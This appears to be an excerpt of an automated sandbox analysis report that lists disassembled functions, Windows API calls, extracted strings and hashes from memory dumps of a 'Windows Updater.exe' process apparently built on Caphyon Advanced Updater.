Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: a589ad5544438242295a6e604c98081abe0b2a50736458b9c1a2f4e7fe57d4fb
Instruction ID: 45c48101915aae45cb8025f105008cb0f951023447fe80e4b1f7718b2d69f273
Opcode Fuzzy Hash: a589ad5544438242295a6e604c98081abe0b2a50736458b9c1a2f4e7fe57d4fb
Instruction Fuzzy Hash: 7B91BE70D00648DFDB24DFA4C959BEEBBF4EF04315F1042A9E811A7291DB74AA49CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B1EC50 Relevance: 5.2, APIs: 4, Instructions: 209memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,00000000,00000000,?), ref: 00B1EE1F
HeapFree.KERNEL32(00000000,?,00000000,00000000,?), ref: 00B1EE25
GetProcessHeap.KERNEL32(?,00000000,?,00000000,00000000,00000000,7E4AB622,-00000010,?,?), ref: 00B1EE55
HeapFree.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000,7E4AB622,-00000010,?,?), ref: 00B1EE5B

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 2896897fc5191d52d2a69492d0aaed42e6adb1fba4cf6a5540d4be513fb3a1f9
Instruction ID: 6bd59d809b9a793141f4e9dc1a19daf8b146d63a3f2506023b48eeb0110ddf00
Opcode Fuzzy Hash: 2896897fc5191d52d2a69492d0aaed42e6adb1fba4cf6a5540d4be513fb3a1f9
Instruction Fuzzy Hash: 1E816B71D0025ADBDF11DFA8C845BEEBBF4FF05314F6445A9E820A7281D778AA44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B54740 Relevance: 5.2, APIs: 4, Instructions: 171memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?), ref: 00B54881
HeapFree.KERNEL32(00000000,?,?,?,?), ref: 00B54887
GetProcessHeap.KERNEL32(?,?,?,?), ref: 00B54913
HeapFree.KERNEL32(00000000,?,?,?,?), ref: 00B54919

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 77bc8d91a090c98dc52bf3ca106454e895e1a660cefa4a77c5991092dd785ef4
Instruction ID: 6f218fbe09a02cffe3d6dc25a7a08a316972bb0c1a962fd065a553244ba0f60c
Opcode Fuzzy Hash: 77bc8d91a090c98dc52bf3ca106454e895e1a660cefa4a77c5991092dd785ef4
Instruction Fuzzy Hash: E361D070D05288DFDF14DBA4D845BEEBBF4EF05319F1042E9E801A7281DB349A89CB60

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Windows Updater.exePID: 2360, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	38

Executed Functions

Function 005A8770 Relevance: 26.4, APIs: 17, Instructions: 897
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: a681a0dbacedb89c74e975eac96f121e8507971aeb3c9c54aa6324096faa80df
Instruction ID: ff13f5adc9dd4ec5c8e27c3699dadb03cb45e11497eca7987c0b8374de8066cf
Opcode Fuzzy Hash: a681a0dbacedb89c74e975eac96f121e8507971aeb3c9c54aa6324096faa80df
Instruction Fuzzy Hash: 34627071A00249EFDB10CFA8CC49BAEBFB9FF45710F148259E915AB391DB759A04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 005A95B0 Relevance: 19.0, APIs: 12, Instructions: 972
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

RegOpenKeyExW.KERNEL32(00000000,00000000,00000000,00020019,00000000,?), ref: 005A966C
RegCloseKey.ADVAPI32(00000000), ref: 005A9695
RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,00020019,00000000,?), ref: 005A97CC

Part of subcall function 00577B90: RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00000000,005A97FB,006306F8,?,00000000), ref: 00577BBB
Part of subcall function 00577B90: RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00000000,005A97FB), ref: 00577BF3

RegCloseKey.ADVAPI32(?,00000000), ref: 005A9846
RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,00020019,00000000,14058998), ref: 005A997C
RegCloseKey.ADVAPI32(00000000,006306F8,14058998), ref: 005A99A2
RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,00020019,00000000,14058998), ref: 005A9ACC
RegCloseKey.ADVAPI32(?,?,?,00000000,14058998), ref: 005A9C6B
RegCloseKey.ADVAPI32(?,?,?,00000000,14058998), ref: 005A9D85
RegCloseKey.ADVAPI32(?,?,?,00000000,14058998), ref: 005A9EA0
RegCloseKey.ADVAPI32(00000000,006306F8), ref: 005A9AF0

Part of subcall function 005779B0: RegOpenKeyExW.ADVAPI32(?,?,00000000,0002001B,?,?), ref: 00577A29

RegCloseKey.ADVAPI32(?,?,?,00000000,14058998), ref: 005A9FE1

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Close$Open$QueryValue$HeapProcess
String ID:
API String ID: 908903948-0
Opcode ID: 2e48794de09b19b717470e6f5b431d5275dea3cba4bdc3d11a570d6a8162ce2d
Instruction ID: 98a03f9b2efd96aaa1649dfeff5d9a4f5232ada168d2d7e7e7601914dfcb3d6e
Opcode Fuzzy Hash: 2e48794de09b19b717470e6f5b431d5275dea3cba4bdc3d11a570d6a8162ce2d
Instruction Fuzzy Hash: 8B72B371A0061AEFDB00CFA8CC44BAEBFB9FF46320F148259E914E7291DB359904CB91

Uniqueness

Uniqueness Score: -1.00%

Function 005D8850 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 176
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002,14058998,?,?,?,?,?,0061B93D,000000FF), ref: 005D88A1
DefWindowProcW.USER32(00000000,00000000,00000000,00000000,?,?,?,?,?,0061B93D,000000FF), ref: 005D88AF
InitCommonControlsEx.COMCTL32(?,?,?,?,?,?,0061B93D,000000FF), ref: 005D88C7
LoadLibraryW.KERNEL32(RICHED20.DLL,?,?,?,?,?,0061B93D,000000FF), ref: 005D88D2

Part of subcall function 005D8F10: GetCurrentThreadId.KERNEL32 ref: 005D8F6D

FreeLibrary.KERNEL32(00000000,?,?,0061B93D,000000FF), ref: 005D893B
EnterCriticalSection.KERNEL32(0064E2E4,?,?,0061B93D,000000FF), ref: 005D8959
DestroyWindow.USER32(00000000,?,?,0061B93D,000000FF), ref: 005D8977
LeaveCriticalSection.KERNEL32(0064E2E4,?,?,0061B93D,000000FF), ref: 005D89C0
CoUninitialize.OLE32(?,?,0061B93D,000000FF), ref: 005D8A84

Strings

RICHED20.DLL, xrefs: 005D88CD

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CriticalLibrarySectionWindow$CommonControlsCurrentDestroyEnterFreeInitInitializeLeaveLoadProcThreadUninitialize
String ID: RICHED20.DLL
API String ID: 2001424392-992299850
Opcode ID: 1d895f579ba99f93f779d2d92a92331d34ec3df03a7cb9140166cdda27c3a824
Instruction ID: 36702859bef902029f85a73552e8388f0caf21c36e84444906dcb2d30e163585
Opcode Fuzzy Hash: 1d895f579ba99f93f779d2d92a92331d34ec3df03a7cb9140166cdda27c3a824
Instruction Fuzzy Hash: 3A61D171900205DFD730DF68DC49BAEBBF5BF04720F14852AE855A7391DB74A944CB91

Uniqueness

Uniqueness Score: -1.00%

Function 005A13C0 Relevance: 11.4, APIs: 3, Strings: 3, Instructions: 882processCOMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 005A140F

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

_wcsrchr.LIBVCRUNTIME ref: 005A19E1
CreateProcessW.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000010,?,?), ref: 005A1AE4

Part of subcall function 00578770: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,005E679F,C000008C,00000001,?,005E67D0,00000000,?,00000000,?,00573D67,00000000,14058998), ref: 0057877C

Strings

"%s" %s, xrefs: 005A1A98
AutoCloseApplication, xrefs: 005A1C03
%s%d, xrefs: 005A1BFC

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Process$CreateExceptionHeapRaise_wcschr_wcsrchr
String ID: "%s" %s$%s%d$AutoCloseApplication
API String ID: 4148056120-1320874614
Opcode ID: bc0261930ff4c642e03e0ac3c092ab33225cffa802986eb939eb7e7a4d5275e1
Instruction ID: b9460f41e2d22ceb3eefcadb2bab2f7f965ffb49f61399b2c3a08593d927db0f
Opcode Fuzzy Hash: bc0261930ff4c642e03e0ac3c092ab33225cffa802986eb939eb7e7a4d5275e1
Instruction Fuzzy Hash: 94728E71A0160ADFDB00DFA8C898BAEFBB5FF45310F148259E515AB291DB74AE04CF94

Uniqueness

Uniqueness Score: -1.00%

Function 005C4720 Relevance: 7.8, APIs: 5, Instructions: 326fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,14058998), ref: 005C4778
SetFilePointer.KERNEL32(00000000,00000002,00000000,00000000), ref: 005C47AD
ReadFile.KERNEL32(00000000,?,0000000A,?,00000000), ref: 005C47CF
ReadFile.KERNEL32(00000000,?,00000005,?,00000000), ref: 005C489E
CloseHandle.KERNEL32(?), ref: 005C498E

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: File$Read$CloseCreateHandlePointer
String ID:
API String ID: 3856724686-0
Opcode ID: a18defe7b8247c374090083e3b583b517a5ba5613b7e40a8bf24a3519e6154b0
Instruction ID: 699ebed21fc95887ab839499dd85350d58795eded1365d76173ee6e2e5f7158d
Opcode Fuzzy Hash: a18defe7b8247c374090083e3b583b517a5ba5613b7e40a8bf24a3519e6154b0
Instruction Fuzzy Hash: 06B18B35A01249DFDB14CFA8C865FAEBBB5FF45714F24826DE816AB291EB319900CF50

Uniqueness

Uniqueness Score: -1.00%

Function 005E3E60 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

;aiu;, xrefs: 005E3EF4
General, xrefs: 005E3F83

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID:
String ID: ;aiu;$General
API String ID: 0-711602179
Opcode ID: 7ac702d4b0fff17d256c70f5f8f99886350baba703966287c1b3d236a8d2dfb3
Instruction ID: bfa15d4a4a9c5bc4228434b0bf6c4d1d74a577a8cb0c6e2ab543681bb81f3438
Opcode Fuzzy Hash: 7ac702d4b0fff17d256c70f5f8f99886350baba703966287c1b3d236a8d2dfb3
Instruction Fuzzy Hash: ABD1B231A00646CFCF18CF6AC888BAABBB1FF94710F1540A9E9959B351D731E985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0057D7C0 Relevance: 4.6, APIs: 3, Instructions: 93fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,7591E010,?,?,7591E010), ref: 0057D85D
FindClose.KERNEL32(00000000), ref: 0057D8BC

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: b2c0a1cca0b4710dfc73bb0b98b7569c5074c46446f823ddaa3f0a66bc5e9b4c
Instruction ID: b43b131cb34fc771ca289d59c40f623e8a8039877097b941fe2272e65e4cbab0
Opcode Fuzzy Hash: b2c0a1cca0b4710dfc73bb0b98b7569c5074c46446f823ddaa3f0a66bc5e9b4c
Instruction Fuzzy Hash: 4931D571905618DFDB24DF14E848B5ABBB5FF48710F20C2AAE81DA3380D7315D44DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0059C1A0 Relevance: 62.1, APIs: 28, Strings: 7, Instructions: 810fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000000,0000000C,?,00000080,00000000), ref: 0059C44D
GetLastError.KERNEL32 ref: 0059C57C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0059C466

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

Part of subcall function 00597CF0: InitializeCriticalSection.KERNEL32(?,14058998,?), ref: 00597D2D
Part of subcall function 00597CF0: EnterCriticalSection.KERNEL32(?,14058998,?), ref: 00597D3A
Part of subcall function 00597CF0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0062F794,00000002), ref: 00597DD8
Part of subcall function 00597CF0: GetCurrentThreadId.KERNEL32 ref: 00597DF7

CloseHandle.KERNEL32(00000000), ref: 0059CB87

Strings

Failed to saved in file the bytes read, xrefs: 0059CA41
Creation of file to download on disk failed, xrefs: 0059C4E0
S-1-1-0, xrefs: 0059C3EC
S-1-5-18, xrefs: 0059C400
%, xrefs: 0059CA95
AsyncDownloadThread read 0 bytes., xrefs: 0059C90C
CreateSubFolders() failed, xrefs: 0059C2A2

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CriticalCurrentFileProcessSection$CloseCreateEnterErrorHandleHeapInitializeLastPointerThread
String ID: %$AsyncDownloadThread read 0 bytes.$CreateSubFolders() failed$Creation of file to download on disk failed$Failed to saved in file the bytes read$S-1-1-0$S-1-5-18
API String ID: 3757555869-250281917
Opcode ID: 10ceb85a4449588bac043bcf9a12c59d3f2b1f6dd14a7cac989e0c2a5daac855
Instruction ID: 760f5a9b6ed763ad5d96877bfd5233e9eeef6379951a2ca785408e98dd550b1a
Opcode Fuzzy Hash: 10ceb85a4449588bac043bcf9a12c59d3f2b1f6dd14a7cac989e0c2a5daac855
Instruction Fuzzy Hash: 52628E706002099FEF10DFA8C899BAEBFB5FF49314F148169E9159B2A2DB70DD44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0058EA20 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 245
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00020119,00000000), ref: 0058EA8E
RegQueryValueExW.KERNEL32(00000000,CurrentMajorVersionNumber,00000000,00000000,?,?), ref: 0058EAD5
RegQueryValueExW.KERNEL32(00000000,CurrentMinorVersionNumber,00000000,00000000,?,00000004), ref: 0058EAF4
RegQueryValueExW.ADVAPI32(00000000,CurrentVersion,00000000,00000000,?,?), ref: 0058EB23
RegQueryValueExW.KERNEL32(00000000,CurrentBuildNumber,00000000,00000000,?,?), ref: 0058EB98
RegQueryValueExW.ADVAPI32(00000000,BuildBranch,00000000,00000000,?,?), ref: 0058EC00
RegQueryValueExW.KERNEL32(00000000,ReleaseId,00000000,00000000,?,?), ref: 0058EC63
RegQueryValueExW.KERNEL32(00000000,CSDVersion,00000000,00000000,?,?), ref: 0058ECB4
GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 0058ED48
GetProcAddress.KERNEL32(00000000), ref: 0058ED4F
GetCurrentProcess.KERNEL32(?), ref: 0058ED86
IsWow64Process.KERNEL32(00000000), ref: 0058ED8D
RegCloseKey.ADVAPI32(00000000), ref: 0058EDC7

Strings

CurrentMinorVersionNumber, xrefs: 0058EAE9
ReleaseId, xrefs: 0058EC58
CSDVersion, xrefs: 0058ECA9
CurrentMajorVersionNumber, xrefs: 0058EACA
BuildBranch, xrefs: 0058EBF5
CurrentBuildNumber, xrefs: 0058EB8D
Software\Microsoft\Windows NT\CurrentVersion, xrefs: 0058EA84
co_release, xrefs: 0058EC08
Hd, xrefs: 0058ECC1
rs_prerelease, xrefs: 0058EC20
IsWow64Process, xrefs: 0058ED3E
CurrentVersion, xrefs: 0058EB18
kernel32, xrefs: 0058ED43

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: QueryValue$Process$AddressCloseCurrentHandleModuleOpenProcWow64
String ID: BuildBranch$CSDVersion$CurrentBuildNumber$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$Hd$IsWow64Process$ReleaseId$Software\Microsoft\Windows NT\CurrentVersion$co_release$kernel32$rs_prerelease
API String ID: 2654979339-382358210
Opcode ID: ba1e9f0d95b3cfe152bccb467f139afc137fb56c1994a355b53cd6798cf7057f
Instruction ID: bd7f4a25b7cffd3e79077d9841e1cffd4df3812c129cab25cab2f552f5edecda
Opcode Fuzzy Hash: ba1e9f0d95b3cfe152bccb467f139afc137fb56c1994a355b53cd6798cf7057f
Instruction Fuzzy Hash: C5A18F75900628DADB20DF20DD46BE9BBF9FB04715F0441AAE849B7190EB756E88CF90

Uniqueness

Uniqueness Score: -1.00%

Function 005D1150 Relevance: 42.9, APIs: 17, Strings: 7, Instructions: 949registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005D48F0: RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,?,?,?,?,0061AE26,000000FF), ref: 005D49D6

RegCreateKeyExW.KERNEL32(80000001,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 005D13DB
GetModuleFileNameW.KERNEL32(?,00000104), ref: 005D13F9
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,00000000), ref: 005D141E
RegSetValueExW.KERNEL32(?,?,00000000,00000004,?,00000004), ref: 005D144C
RegCloseKey.ADVAPI32(?), ref: 005D1458
PathFileExistsW.SHLWAPI(?,updater.log,0000000B,?,00000018,?,?,00000000,?,?,?,?), ref: 005D1605
InitializeCriticalSection.KERNEL32(00000000,?,updater.log,0000000B,?,00000018,?,?,00000000,?,?,?,?), ref: 005D164D
EnterCriticalSection.KERNEL32(?,?,updater.log,0000000B,?,00000018,?,?,00000000,?,?,?,?), ref: 005D1660
LeaveCriticalSection.KERNEL32(?), ref: 005D168B
InitializeCriticalSection.KERNEL32(00000000), ref: 005D16B7
EnterCriticalSection.KERNEL32(?), ref: 005D16CA
LeaveCriticalSection.KERNEL32(?), ref: 005D16F1
GetActiveWindow.USER32 ref: 005D1EE1

Part of subcall function 0058CDF0: LoadStringW.USER32(?,00000000,00000100), ref: 0058CE93

Part of subcall function 00578770: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,005E679F,C000008C,00000001,?,005E67D0,00000000,?,00000000,?,00573D67,00000000,14058998), ref: 0057877C

Strings

updater.log, xrefs: 005D15A2
', xrefs: 005D1F38
Software\Caphyon\Advanced Updater\%s, xrefs: 005D13AB
/Link, xrefs: 005D1240
Running updater. Mode: , xrefs: 005D1751
caphyon-advinst-updater:, xrefs: 005D122E
- , xrefs: 005D1DFF

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CriticalSection$EnterFileInitializeLeaveValue$ActiveCloseCreateExceptionExistsLoadModuleNameOpenPathQueryRaiseStringWindow
String ID: - $'$/Link$Running updater. Mode: $Software\Caphyon\Advanced Updater\%s$caphyon-advinst-updater:$updater.log
API String ID: 656556891-968313201
Opcode ID: c8db4875fbf5f8a4330f1b824f8190560d55e5787cc2e61ca8cde1407181601b
Instruction ID: dd62d1dea53b7a03203c8c523fb2ae37fdedbea289d3e2b8bd5b137119ae15ce
Opcode Fuzzy Hash: c8db4875fbf5f8a4330f1b824f8190560d55e5787cc2e61ca8cde1407181601b
Instruction Fuzzy Hash: 1B92B230A0165AAFDB25DB28CC5CBADBBB5BF45310F1482DAE019973A1DB709E84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005ACE10 Relevance: 40.5, APIs: 2, Strings: 21, Instructions: 220
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

silentcritical, xrefs: 005AE158
NoGUI, xrefs: 005ADFCE
MD5, xrefs: 005ACE66
URL, xrefs: 005ADECC
/install, xrefs: 005AE186, 005AE196
StartMinimized, xrefs: 005ADE90
silent, xrefs: 005AE13C
silentall, xrefs: 005AE14A
startappfirst, xrefs: 005ADF52
true, xrefs: 005ADDEF, 005ADDFF, 005ADE6B, 005ADE7B, 005ADF2D, 005ADF3D, 005ADFA9, 005ADFB9, 005AE025, 005AE035, 005AE0A1, 005AE0B1
LastModified, xrefs: 005ADB04, 005ADB14, 005ADC54, 005ADC64
restartappcmd, xrefs: 005ADEF6
0x%X, xrefs: 005ACF5D
wininet.dll, xrefs: 005AD00C
SHA256, xrefs: 005ACEA5
ReducedGUI, xrefs: 005AE04A
JustDownloadUpdates, xrefs: 005ADE14
ServerConfigPath, xrefs: 005ADDB5
ForceMSIBasicUI, xrefs: 005AE0C6
checknow, xrefs: 005AE111, 005AE121
restartapp, xrefs: 005ADEE1

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
